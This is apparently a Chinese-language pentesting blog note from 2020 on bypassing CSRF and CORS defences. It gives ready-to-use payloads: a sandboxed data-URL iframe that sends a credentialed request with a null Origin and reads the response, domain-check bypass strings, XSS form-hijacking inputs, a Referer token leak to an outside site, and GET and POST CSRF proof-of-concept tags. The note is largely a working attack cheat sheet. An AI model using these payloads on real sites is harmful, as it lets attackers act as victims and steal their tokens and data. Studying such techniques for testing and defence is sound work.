February 25th 2020, 12:00:00 pm
Origin & Referer Bypass
Null值绕过
当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。
1 | <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe> |
域名校验绕过
当域名校验不是特别严格时,可以通过以下几种方式进行绕过:
- 在后面加域名 qq.com => qq.com.abc.com
- 将域名拼接 abc.qq.com => abc_qq.com
- 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com
配合XSS进行利用
当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用。
获取表单中的token
当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。
- xss劫持页面中某个表单的提交
像这个就可以劫持user-edit表单的提交,点击即可提交form表单。
1 | <input type="submit" form="user-edit" value="hijack"> |
这个就相当于劫持了user-edit表单然后进行提交
- xss劫持页面表单并修改value
1 | <input type="text" form="user-edit" name="notes" value="This is a test"> |
劫持user-edit表单,覆盖各表单的value,进行CSRF利用。
获取url参数中的token
1 | <a href="https://evil7.cn">get_token</a> |
参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考
配合URL跳转漏洞
如果是GET形式的CSRF,配合URL跳转漏洞,即可Origin和Referer的限制。
X-Request-with Bypass
使用swf进行绕过:https://github.com/Qclover/CSRF
Token Bypass
- 删除Token参数字段
- 将Token参数值置空
CSRF POC 构造
GET - CSRF
1 | <img src=http://xxxx.org/csrf.php?xx=11 /> |
POST - CSRF
可以直接使用Brupsuite生成CSRF POC,也可以自己构造
1 | <form action=http://aaaaaa.org/csrf.php method=POST> |